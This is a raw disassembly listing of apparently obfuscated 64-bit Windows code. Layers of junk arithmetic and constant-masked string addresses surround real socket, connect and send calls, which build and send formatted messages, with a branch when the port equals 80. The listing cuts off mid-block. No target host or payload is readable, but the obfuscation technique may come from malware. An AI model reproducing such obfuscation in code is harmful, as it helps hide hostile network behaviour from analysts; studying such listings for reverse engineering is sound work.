xor eax, 0xfc2824ab
rol eax, 0xbd
popf
jmp 0x1403034da
mov ecx, 0x63b33226
pushf
not ecx
add ecx, 0xd67804da
xor ecx, 0xa8fec474
rol ecx, 0x3f
popf
pushf
not ecx
add ecx, 0xeb44eb57
xor ecx, 0xfe07dff3
rol ecx, 0xac
popf
call fcn.1401cba75
mov r8, rdi
lea rdx, [0x18b35eb8b]
pushf
sub rdx, 0x4b2cc82b
popf
mov rcx, rax
call fcn.14014868a
xor eax, eax
jmp 0x1403072f6
mov rbx, qword [rbp + 0x7f0]
test rbx, rbx
je 0x140304d22
push rax
pushf
mov eax, 0x70684b8c
pushf
not eax
add eax, 0xa4287051
xor eax, 0xa6e82c1d
rol eax, 0x25
popf
pushf
not eax
add eax, 0x8432aebb
xor eax, 0xdfb59388
rol eax, 0x6e
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xa9d87410
pushf
not eax
add eax, 0xedf50987
xor eax, 0xc9581b1a
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xcaee8ca9
xor eax, 0x8c290e46
rol eax, 0x83
popf
pushf
not eax
add eax, 0xf9f6255a
xor eax, 0x8c9bb9d3
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xfc4c781a
xor eax, 0xe98178db
rol eax, 0x1e
popf
jmp 0x1403034da
nop dword [rax]
push rax
pushf
mov eax, 0xbb9bc6a
pushf
not eax
add eax, 0xcd25b442
xor eax, 0xeeb41082
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x891d7605
xor eax, 0xa80ab9e2
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xf0c61b17
xor eax, 0xdc456170
rol eax, 0x57
popf
pushf
not eax
add eax, 0xe5fb8358
xor eax, 0xef42df6d
rol eax, 0xbc
popf
jmp 0x1403034da
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
jmp 0x140304de3
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, r14
je 0x140304e24
push rax
pushf
mov eax, 0x4b847b69
pushf
not eax
add eax, 0xc6c5a8cd
xor eax, 0xb15378ba
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xd1be1773
xor eax, 0xc8936c8d
rol eax, 0x37
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x5b2fd426
pushf
not eax
add eax, 0xd6c5a600
xor eax, 0x8961647e
rol eax, 0x25
popf
pushf
not eax
add eax, 0xfac0bf3b
xor eax, 0x9c2a403c
rol eax, 0x17
popf
jmp 0x1403034da
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
jmp 0x140304e63
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, r14d
jne 0x140304ea1
push rax
pushf
mov eax, 0xc3d07fb3
pushf
not eax
add eax, 0xfcffc73f
xor eax, 0x8a87c19d
rol eax, 0x31
popf
pushf
not eax
add eax, 0x913fbbfa
xor eax, 0x85125588
rol eax, 0x5d
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x63f7e21
pushf
not eax
add eax, 0x805d8c12
xor eax, 0x9d8db78c
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xc81886ff
xor eax, 0xa1648991
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xd8749bf0
xor eax, 0xc082a79d
rol eax, 0x8b
popf
jmp 0x1403034da
mov rcx, rsi
jmp 0x140304eeb
call qword [sym.imp.WS2_32.dll_closesocket]
mov rsi, r14
push rax
pushf
mov eax, 0xb12981fb
pushf
not eax
add eax, 0xc7edaf2d
xor eax, 0x879babbe
rol eax, 0x44
popf
pushf
not eax
add eax, 0xb9c033db
xor eax, 0xea4af81e
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x9cef1951
xor eax, 0xc9b4611b
rol eax, 0x93
popf
pushf
not eax
add eax, 0x85c20e44
xor eax, 0x9c350528
rol eax, 0xbb
popf
jmp 0x1403034da
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x140304faf
push rax
pushf
mov eax, 0x84ec82a6
pushf
not eax
add eax, 0xe682abd7
xor eax, 0xa97888c1
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xa790feb2
xor eax, 0x97404cfc
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x84118bcd
xor eax, 0xf51c8772
rol eax, 0x71
popf
pushf
not eax
add eax, 0xb09d5ae3
xor eax, 0xcd6f385c
rol eax, 0xcc
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x9d0946c6
pushf
not eax
add eax, 0xfebcf259
xor eax, 0x8854b22f
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xa0f7a5a0
xor eax, 0xe950093d
rol eax, 0xa3
popf
jmp 0x1403034da
mov rbx, qword [rbp + 0x7f0]
push rax
pushf
mov eax, 0xa1a336ff
pushf
not eax
add eax, 0xabc4969e
xor eax, 0xa9eee8b1
rol eax, 0xea
popf
pushf
not eax
add eax, 0xa5fb4cdc
xor eax, 0x93c058dd
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x8623b8a3
xor eax, 0xd3eb0520
rol eax, 0x95
popf
pushf
not eax
add eax, 0xdb16e8c5
xor eax, 0xb4b5504a
rol eax, 0xdf
popf
jmp 0x1403034da
mov rcx, rbx
jmp 0x140305046
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1403050b0
push rax
pushf
mov eax, 0x6fa96df7
pushf
not eax
add eax, 0x93c9f7b9
xor eax, 0xd4045886
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xd5984cf0
xor eax, 0x8f4aa7db
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xd8698d33
xor eax, 0xa2fb51d7
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xec2e0a36
xor eax, 0xdd34d925
rol eax, 0x21
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xe652358a
pushf
not eax
add eax, 0xd4c998a5
xor eax, 0x95e3dc07
rol eax, 0x46
popf
pushf
not eax
add eax, 0xbc88e666
xor eax, 0xd5e91f07
rol eax, 0x4c
popf
jmp 0x1403034da
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14030512a
push rax
pushf
mov eax, 0xd22980ff
pushf
not eax
add eax, 0xc7dabcd1
xor eax, 0xaf2f1de0
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xb5872325
xor eax, 0xfadf9998
rol eax, 0xe6
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xccec0ff7
pushf
not eax
add eax, 0xa2d05009
xor eax, 0x92efc3e2
rol eax, 0x45
popf
pushf
not eax
add eax, 0xae7f257d
xor eax, 0xd80ea714
rol eax, 0xa9
popf
jmp 0x1403034da
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1403051a9
push rax
pushf
mov eax, 0x39bb1ebd
pushf
not eax
add eax, 0xb4c7b11e
xor eax, 0x8403b708
rol eax, 0x70
popf
pushf
not eax
add eax, 0xf1848b32
xor eax, 0xd91b8c22
rol eax, 0x89
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x6077ade8
pushf
not eax
add eax, 0xde1cf838
xor eax, 0xee4c6836
rol eax, 0x59
popf
pushf
not eax
add eax, 0xfef7e00d
xor eax, 0xa24316ff
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xfc70ecba
xor eax, 0xc2e7599e
rol eax, 0xc
popf
jmp 0x1403034da
call fcn.14019a0bc
push rax
pushf
mov eax, 0xec27e867
pushf
not eax
add eax, 0xc397919a
xor eax, 0xa679cdc7
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xe2bde08b
xor eax, 0x9ad6510c
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xd2f481c6
xor eax, 0xed596515
rol eax, 0xee
popf
jmp 0x1403034da
cmp rsi, r14
jne 0x140305285
push rax
pushf
mov eax, 0x9a134b3f
pushf
not eax
add eax, 0xe02e67cc
xor eax, 0xc18964b8
rol eax, 0x91
popf
pushf
not eax
add eax, 0xcb72d341
xor eax, 0x969aefad
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xa32f707f
xor eax, 0xb6dc0e34
rol eax, 0xfb
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xf353c1c7
pushf
not eax
add eax, 0xdcc872f7
xor eax, 0xd64856ff
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xb4cf33e4
xor eax, 0x9654c3c2
rol eax, 0x75
popf
pushf
not eax
add eax, 0x9d82df7a
xor eax, 0x95b2f53c
rol eax, 0x57
popf
jmp 0x1403034da
mov ebx, dword [rbp + 0x7f8]
mov ecx, 0x129ad7f5
pushf
not ecx
add ecx, 0x8575b500
xor ecx, 0xc2294017
rol ecx, 0xa4
popf
pushf
not ecx
add ecx, 0xdb238513
xor ecx, 0xb77cc5ac
rol ecx, 0x14
popf
pushf
not ecx
add ecx, 0xe3d8fcf9
xor ecx, 0xaf944b55
rol ecx, 0xa
popf
pushf
not ecx
add ecx, 0x804a7a95
xor ecx, 0xaa46a73e
rol ecx, 0x2c
popf
call fcn.1401cba75
mov r9d, ebx
lea r8, [rbp + 0x3b0]
lea rdx, [0x1af2cd96a]
pushf
sub rdx, 0x6f23b5da
popf
mov rcx, rax
call fcn.14014868a
jmp 0x14030728b
lea r9, [rbp + 0x5b0]
mov edx, 0x63291d12
pushf
not edx
add edx, 0x86c9e976
xor edx, 0xe8833c3b
rol edx, 0xbc
popf
pushf
not edx
add edx, 0xe71a0cd0
xor edx, 0xb6f0a8a7
rol edx, 0xff
popf
pushf
not edx
add edx, 0x98c0818a
xor edx, 0x924ec297
rol edx, 0x7c
popf
pushf
not edx
add edx, 0xc9127278
xor edx, 0x860ed193
rol edx, 0xc5
popf
lea r8, [0x189edf309]
pushf
sub r8, 0x49e4cf59
popf
lea rcx, [rbp - 0x50]
call fcn.14018cdb6
lea rax, [rbp - 0x50]
mov r8, r14
push rax
pushf
mov eax, 0x254ce095
pushf
not eax
add eax, 0x96f3a5b8
xor eax, 0xcb4ed424
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xe0910c70
xor eax, 0xd9d62449
rol eax, 0xe1
popf
jmp 0x1403034da
inc r8
cmp byte [rax + r8], r12b
jne 0x1403054c8
push rax
pushf
mov eax, 0xc610e325
pushf
not eax
add eax, 0x89fa8bd6
xor eax, 0x9b81d208
rol eax, 0x20
popf
pushf
not eax
add eax, 0x8b42e41c
xor eax, 0xa4c05ce5
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x81078373
xor eax, 0xaea72eb4
rol eax, 0xea
popf
pushf
not eax
add eax, 0x86b30bea
xor eax, 0xe2b07615
rol eax, 0x4b
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x8607f193
pushf
not eax
add eax, 0xfbcb7d87
xor eax, 0x9cd43602
rol eax, 0x54
popf
pushf
not eax
add eax, 0xb9c703a8
xor eax, 0xc9286f1e
rol eax, 8
popf
pushf
not eax
add eax, 0xf836ff47
xor eax, 0xdc76b4ee
rol eax, 0x15
popf
pushf
not eax
add eax, 0xbbb8f8d5
xor eax, 0x81746ae5
rol eax, 0x4d
popf
jmp 0x1403034da
xor r9d, r9d
lea rdx, [rbp - 0x50]
mov rcx, rsi
jmp 0x14030552c
call qword [sym.imp.WS2_32.dll_send]
mov eax, dword [rbp + 0x7f8]
lea r9, [rbp + 0x3b0]
lea rcx, [rbp - 0x50]
mov edx, 0x4c4c280f
pushf
not edx
add edx, 0x8b45ab5a
xor edx, 0xf4eca78e
rol edx, 0xf5
popf
pushf
not edx
add edx, 0xeec71ca1
xor edx, 0x85e65005
rol edx, 0x85
popf
pushf
not edx
add edx, 0xfd47eefd
xor edx, 0x83d6bfc2
rol edx, 0xbe
popf
cmp eax, 0x50
jne 0x1403055e5
push rax
pushf
mov eax, 0x5ea29da1
pushf
not eax
add eax, 0x9e4984d9
xor eax, 0xc5c59e69
rol eax, 0x23
popf
pushf
not eax
add eax, 0xa6929af6
xor eax, 0xaf37bee9
rol eax, 0xd
popf
pushf
not eax
add eax, 0x86576df3
xor eax, 0xfc55b2f3
rol eax, 0x60
popf
pushf
not eax
add eax, 0x93890d3f
xor eax, 0xef274065
rol eax, 0xbe
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x33466f72
pushf
not eax
add eax, 0xb5de6231
xor eax, 0x8dfea8ca
rol eax, 0x11
popf
pushf
not eax
add eax, 0x86cad940
xor eax, 0xd1e2bbf5
rol eax, 0x3d
popf
jmp 0x1403034da
lea r8, [0x1851a701f]
pushf
sub r8, 0x45114c57
popf
call fcn.14018cdb6
lea rax, [rbp - 0x50]
mov r8, r14
nop dword [rax]
push rax
pushf
mov eax, 0xfe094786
pushf
not eax
add eax, 0x93f374e8
xor eax, 0x925146c5
rol eax, 0x47
popf
pushf
not eax
add eax, 0x87ffcf67
xor eax, 0x8aebebaf
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xda19c468
xor eax, 0xa20eb0b9
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xc1b98f49
xor eax, 0x988f541a
rol eax, 0xe9
popf
jmp 0x1403034da
inc r8
cmp byte [rax + r8], r12b
jne 0x1403056e0
push rax
pushf
mov eax, 0x12608e4c
pushf
not eax
add eax, 0xa8d370fc
xor eax, 0xee9cf96c
rol eax, 0x78
popf
pushf
not eax
add eax, 0x9c74ff31
xor eax, 0x85306073
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xa4e35365
xor eax, 0x8889bbe8
rol eax, 1
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x3a04adc1
pushf
not eax
add eax, 0xf3ba7156
xor eax, 0xc32e1ebf
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xc22fc0eb
xor eax, 0xa25c68cb
rol eax, 0x91
popf
pushf
not eax
add eax, 0xe53b7d1f
xor eax, 0xf7fc6dac
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xbaeeaec7
xor eax, 0x86c02d72
rol eax, 0xd1
popf
jmp 0x1403034da
jmp 0x140305894
lea r8, [0x19ccbc421]
pushf
sub r8, 0x5cc2a049
popf
mov dword [rsp + 0x20], eax
call fcn.14018cdb6
lea rax, [rbp - 0x50]
mov r8, r14
push rax
pushf
mov eax, 0xd09d4124
pushf
not eax
add eax, 0xff5d6c61
xor eax, 0xae71b8ce
rol eax, 0x62
popf
pushf
not eax
add eax, 0xed16f14c
xor eax, 0xea50ac81
rol eax, 0xda
popf
jmp 0x1403034da
inc r8
cmp byte [rax + r8], r12b
jne 0x14030583b
push rax
pushf
mov eax, 0x6087dca8
pushf
not eax
add eax, 0x8e33369c
xor eax, 0xcb4fdc28
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xaf6d543c
xor eax, 0x8c50264c
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x865170cd
xor eax, 0xa01c3339
rol eax, 0x31
popf
pushf
not eax
add eax, 0xd87d3c36
xor eax, 0xe81b155c
rol eax, 0xcf
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xd067d303
pushf
not eax
add eax, 0x90c0af82
xor eax, 0xff7f0874
rol eax, 0x24
popf
pushf
not eax
add eax, 0xc487f456
xor eax, 0x93db5938
rol eax, 0x93
popf
pushf
not eax
add eax, 0x86b032af
xor eax, 0x8435bef6
rol eax, 0xca
popf
pushf
not eax
add eax, 0x97f4943e
xor eax, 0xe988ebe4
rol eax, 0xdb
popf
jmp 0x1403034da
xor r9d, r9d
lea rdx, [rbp - 0x50]
mov rcx, rsi
jmp 0x14030589f
call qword [sym.imp.WS2_32.dll_send]
lea r8, [0x197e60ff0]
pushf
sub r8, 0x57dcec08
popf
mov edx, 0xa9bf378a
pushf
not edx
add edx, 0xd8c97072
xor edx, 0x84d95848
rol edx, 0x22
popf
pushf
not edx
add edx, 0x99a26182
xor edx, 0xead4dec3
rol edx, 0x33
popf
lea rcx, [rbp - 0x50]
call fcn.14018cdb6
lea rax, [rbp - 0x50]
mov r8, r14
push rax
pushf
mov eax, 0xb25f0a14
pushf
not eax
add eax, 0xfc834713
xor eax, 0x83ccb8c0
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x8a5f72c1
xor eax, 0xcb7b47cc
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x89b2b477
xor eax, 0xb2acaf90
rol eax, 0x2a
popf
jmp 0x1403034da
inc r8
cmp byte [rax + r8], r12b
jne 0x14030598b
push rax
pushf
mov eax, 0xee97ac35
pushf
not eax
add eax, 0xa5c453be
xor eax, 0xe297e3b1
rol eax, 0x99
popf
pushf
not eax
add eax, 0xb374d145
xor eax, 0x8443acaa
rol eax, 0x57
popf
pushf
not eax
add eax, 0xe51cfc74
xor eax, 0xd802b6f8
rol eax, 0xd
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x3bbd192c
pushf
not eax
add eax, 0xc09a249f
xor eax, 0x864c62f3
rol eax, 0x93
popf
pushf
not eax
add eax, 0x88fa1af6
xor eax, 0xb46bf5d8
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xe2a2e48f
xor eax, 0x9e55eaae
rol eax, 0x81
popf
jmp 0x1403034da
xor r9d, r9d
lea rdx, [rbp - 0x50]
mov rcx, rsi
jmp 0x1403059dc
call qword [sym.imp.WS2_32.dll_send]
lea r8, [0x1afef8511]
pushf
sub r8, 0x6fe66111
popf
mov edx, 0x4c26fc09
pushf
not edx
add edx, 0xf9a90c74
xor edx, 0xee144de3
rol edx, 0x37
popf
pushf
not edx
add edx, 0xa449df23
xor edx, 0xdba813f4
rol edx, 0x90
popf
lea rcx, [rbp - 0x50]
call fcn.14018cdb6
lea rax, [rbp - 0x50]
mov r8, r14
nop dword [rax]
push rax
pushf
mov eax, 0xe158e8d1
pushf
not eax
add eax, 0xd5434444
xor eax, 0x803b6a8d
rol eax, 0xb
popf
pushf
not eax
add eax, 0xb2d71bb6
xor eax, 0xa37bd4e2
rol eax, 0x6c
popf
pushf
not eax
add eax, 0x897976b8
xor eax, 0xba241e14
rol eax, 0x72
popf
jmp 0x1403034da
inc r8
cmp byte [rax + r8], r12b
jne 0x140305acc
push rax
pushf
mov eax, 0x257305f2
pushf
not eax
add eax, 0xcb70eb4a
xor eax, 0xadf12aa3
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xb6921a19
xor eax, 0xff72cf83
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x9c90b0de
xor eax, 0xb69adfa6
rol eax, 0xd6
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x62dea0dc
pushf
not eax
add eax, 0x99964564
xor eax, 0xcc8cebbc
rol eax, 0x19
popf
pushf
not eax
add eax, 0xf52cafb2
xor eax, 0xe4f5f57f
rol eax, 0x60
popf
pushf
not eax
add eax, 0xefd5d61b
xor eax, 0xc047077c
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xfc81628c
xor eax, 0xb5282650
rol eax, 0xeb
popf
jmp 0x1403034da
xor r9d, r9d
lea rdx, [rbp - 0x50]
mov rcx, rsi
jmp 0x140305b30
call qword [sym.imp.WS2_32.dll_send]
cmp qword [r15 + 0x10], r12
je 0x140305b95
push rax
pushf
mov eax, 0x35dc2b1
pushf
not eax
add eax, 0xda3babbf
xor eax, 0xd2cbb853
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xccc8cc8e
xor eax, 0xe145e042
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xec39f81c
xor eax, 0xe74cc1c2
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xe900da47
xor eax, 0xee7a7678
rol eax, 0xa3
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x6e5fed4
pushf
not eax
add eax, 0xde700cd6
xor eax, 0x8275e88e
rol eax, 0x26
popf
pushf
not eax
add eax, 0xaddd5d47
xor eax, 0xc36d643d
rol eax, 0x12
popf
pushf
not eax
add eax, 0xfeb023ad
xor eax, 0x897c698d
rol eax, 0x7e
popf
jmp 0x1403034da
cmp qword [r15 + 0x18], 0xf
jbe 0x140305c28
push rax
pushf
mov eax, 0x29833d58
pushf
not eax
add eax, 0xb8820d05
xor eax, 0xe24fd7d8
rol eax, 0xc2
popf
pushf
not eax
add eax, 0xf066b946
xor eax, 0xbdcd2168
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xa9b87ce6
xor eax, 0xe1b16984
rol eax, 0x76
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xf737474a
pushf
not eax
add eax, 0xe0ae5dbd
xor eax, 0xe9243197
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xb45e3abd
xor eax, 0xcbd343be
rol eax, 0x27
popf
pushf
not eax
add eax, 0xaf33035b
xor eax, 0xbb4048c5
rol eax, 0xa1
popf
jmp 0x1403034da
mov r15, qword [r15]
push rax
pushf
mov eax, 0x2037a7b
pushf
not eax
add eax, 0xc87f57cb
xor eax, 0x9ab30c74
rol eax, 0x68
popf
pushf
not eax
add eax, 0xab026edd
xor eax, 0xe231c380
rol eax, 0xb6
popf
jmp 0x1403034da
mov r9, r15
lea r8, [0x1a4fd339b]
pushf
sub r8, 0x64f40f83
popf
mov edx, 0x8fa79001
pushf
not edx
add edx, 0x8ea3096b
xor edx, 0xe412f1f6
rol edx, 0x95
popf
pushf
not edx
add edx, 0xae0ee1ac
xor edx, 0x969c8a30
rol edx, 0x21
popf
pushf
not edx
add edx, 0xc209e4a5
xor edx, 0xaa764904
rol edx, 0x16
popf
pushf
not edx
add edx, 0xd8b30288
xor edx, 0x93a24727
rol edx, 0x96
popf
lea rcx, [rbp - 0x50]
call fcn.14018cdb6
lea rax, [rbp - 0x50]
mov r8, r14
nop dword [rax + rax]
push rax
pushf
mov eax, 0x1401499f
pushf
not eax
add eax, 0x8bc660b4
xor eax, 0xa08a71a0
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xaf3f123f
xor eax, 0xc9a6d363
rol eax, 0x48
popf
pushf
not eax
add eax, 0xf341dbe1
xor eax, 0xa820f2c2
rol eax, 0x8d
popf
jmp 0x1403034da
inc r8
cmp byte [rax + r8], r12b
jne 0x140305dd2
push rax
pushf
mov eax, 0xb66665a3
pushf
not eax
add eax, 0xe316a9b7
xor eax, 0x8e3c8ffa
rol eax, 0x71
popf
pushf
not eax
add eax, 0xbb466181
xor eax, 0xda5a393f
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xc2877afa
xor eax, 0xd6200ec0
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xab737810
xor eax, 0xd24a49a7
rol eax, 0x2f
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xffed554c
pushf
not eax
add eax, 0xe4574041
xor eax, 0xfeea4741
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xcaac0748
xor eax, 0x88d52b1a
rol eax, 0x1b
popf
jmp 0x1403034da
xor r9d, r9d
lea rdx, [rbp - 0x50]
mov rcx, rsi
jmp 0x140305e10
call qword [sym.imp.WS2_32.dll_send]
push rax
pushf
mov eax, 0x12e481a3
pushf
not eax
add eax, 0x8cade771
xor eax, 0xf6e98c5d
rol eax, 0x92
popf
pushf
not eax
add eax, 0xaf9b77d0
xor eax, 0xd3cd8a8e
rol eax, 0xc
popf
pushf
not eax
add eax, 0x9bb92fce
xor eax, 0xb6fa0cfe
rol eax, 0x21
popf
pushf
not eax
add eax, 0xef5f6db1
xor eax, 0xa2914fe4
rol eax, 0x41
popf
jmp 0x1403034da
lea r8, [0x193a505da]
pushf
sub r8, 0x539be1b2
popf
mov edx, 0xf83ffc8d
pushf
not edx
add edx, 0xf5e5c4aa
xor edx, 0xd7be46f7
rol edx, 0x37
popf
pushf
not edx
add edx, 0x8c555329
xor edx, 0xd9adab90
rol edx, 0x7a
popf
pushf
not edx
add edx, 0xb4299092
xor edx, 0xecebd9d6
rol edx, 2
popf
lea rcx, [rbp - 0x50]
call fcn.14018cdb6
lea rax, [rbp - 0x50]
mov r8, r14
push rax
pushf
mov eax, 0x9138955d
pushf
not eax
add eax, 0xdc869432
xor eax, 0xb8beda57
rol eax, 0x66
popf
pushf
not eax
add eax, 0x900c0e85
xor eax, 0xd70f0f79
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xb5c709a1
xor eax, 0xe82f107d
rol eax, 0xad
popf
pushf
not eax
add eax, 0xde087b37
xor eax, 0xdfd9390e
rol eax, 0x15
popf
jmp 0x1403034da
inc r8
cmp byte [rax + r8], r12b
jne 0x140305f7d
push rax
pushf
mov eax, 0x870f8680
pushf
not eax
add eax, 0xe74ac492
xor eax, 0xfb518394
rol eax, 0x44
popf
pushf
not eax
add eax, 0xa359c478
xor eax, 0xd2a87092
rol eax, 0xd4
popf
pushf
not eax
add eax, 0x96b2b2fe
xor eax, 0xcdafd2a4
rol eax, 0x30
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0xf7806b04
pushf
not eax
add eax, 0xa2614fcf
xor eax, 0xa904c7eb
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x8160b584
xor eax, 0xfd42d0f5
rol eax, 0x20
popf
pushf
not eax
add eax, 0xbf8880f1
xor eax, 0x8673890c
rol eax, 0xed
popf
pushf
not eax
add eax, 0x8b3b8fe6
xor eax, 0x948fd827
rol eax, 0x89
popf
jmp 0x1403034da
xor r9d, r9d
lea rdx, [rbp - 0x50]
mov rcx, rsi
jmp 0x140305fe1
call qword [sym.imp.WS2_32.dll_send]
lea r8, [0x19e9f906a]
pushf
sub r8, 0x5e966c12
popf
mov edx, 0x3fd26fac
pushf
not edx
add edx, 0x8afc3154
xor edx, 0xd0ab79a5
rol edx, 0x71
popf
pushf
not edx
add edx, 0xc9c46f1e
xor edx, 0x9da5e712
rol edx, 0x11
popf
pushf
not edx
add edx, 0x9fe464f0
xor edx, 0xe1cedcbb
rol edx, 0x4a
popf
lea rcx, [rbp - 0x50]
call fcn.14018cdb6
lea rax, [rbp - 0x50]
mov r8, r14
nop word [rax + rax]
push rax
pushf
mov eax, 0x2668a5fb
pushf
not eax
add eax, 0xf1840ccd
xor eax, 0xd9c65282
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xcd8ded52
xor eax, 0xf238f4f7
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xef1ed287
xor eax, 0xba5cb464
rol eax, 0x3d
popf
jmp 0x1403034da
inc r8
cmp byte [rax + r8], r12b
jne 0x1403060fb
push rax
pushf
mov eax, 0xb52506c
pushf
not eax
add eax, 0xfdbd4f67
xor eax, 0xd4210ebb
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xdae2d77e
xor eax, 0x951b9132
rol eax, 0xd4
popf
pushf
not eax
add eax, 0xb3374040
xor eax, 0xfe51f1cd
rol eax, 0xce
popf
pushf
not eax
add eax, 0xdcfed6dd
xor eax, 0xae86ec44
rol eax, 0xde
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x11656fa3
pushf
not eax
add eax, 0x91e5a5e2
xor eax, 0xd39ba5bd
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x806fc64e
xor eax, 0xd6e1fc08
rol eax, 0xbf
popf
jmp 0x1403034da
xor r9d, r9d
lea rdx, [rbp - 0x50]
mov rcx, rsi
jmp 0x140306139
call qword [sym.imp.WS2_32.dll_send]
lea r8, [0x1af17e050]
pushf
sub r8, 0x6f0eee3c
popf
mov edx, 0xf951239b
pushf
not edx
add edx, 0x83d9851d
xor edx, 0xca49e994
rol edx, 0x6f
popf
pushf
not edx
add edx, 0x96e14e10
xor edx, 0xe3190844
rol edx, 0xc3
popf
pushf
not edx
add edx, 0xe4e77c40
xor edx, 0xe8ab5134
rol edx, 0xa
popf
pushf
not edx
add edx, 0xdd98326c
xor edx, 0xd920e7f0
rol edx, 0xc3
popf
lea rcx, [rbp - 0x50]
call fcn.14018cdb6
lea rax, [rbp - 0x50]
push rax
pushf
mov eax, 0xc96e435
pushf
not eax
add eax, 0xfd9c5676
xor eax, 0xc48a1647
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xe8d95a19
xor eax, 0x984e1df5
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xe0de641c
xor eax, 0xed62c54f
rol eax, 0xb
popf
jmp 0x1403034da
inc r14
cmp byte [rax + r14], r12b
jne 0x14030624c
push rax
pushf
mov eax, 0xa71748b5
pushf
not eax
add eax, 0x88bee175
xor eax, 0xab219842
rol eax, 0x69
popf
pushf
not eax
add eax, 0xf6c4c0b8
xor eax, 0xbb45a16b
rol eax, 0x56
popf
pushf
not eax
add eax, 0x8bf3bdc2
xor eax, 0x919f5bea
rol eax, 0x45
popf
jmp 0x1403034da
push rax
pushf
mov eax, 0x802ceb6f
pushf
not eax
add eax, 0x8985f14e
xor eax, 0x8038db01
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xbe83a0a2
xor eax, 0xbe6bbfef
rol eax, 0x27
popf
pushf
not eax
add eax, 0xd7cf1c32
xor eax, 0xeda095b6
rol eax, 0x22
popf
jmp 0x1403034da
mov r8, r14
lea rdx, [rbp - 0x50]
xor r9d, r9d
mov rcx, rsi
jmp 0x1403062a0
call qword [sym.imp.WS2_32.dll_send]
lea r14, [rbp - 0x50]
mov ebx, r12d
dec r14
push rax
pushf
mov eax, 0xc6057e91
pushf
not eax
add eax, 0xf08a9a81
xor eax, 0x94586e73
rol eax, 0xae
popf
pushf
not eax
add eax, 0xf79076b7
xor eax, 0x92e946ff
rol eax, 0xcb
popf
jmp 0x1403034da
cmp ebx, 2
jl 0x14030631b
push rax
pushf
mov eax, 0xf41ac8d2
pushf
not eax
add eax, 0xca3da19b
xor eax, 0xfc35d18d
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xce10c36b
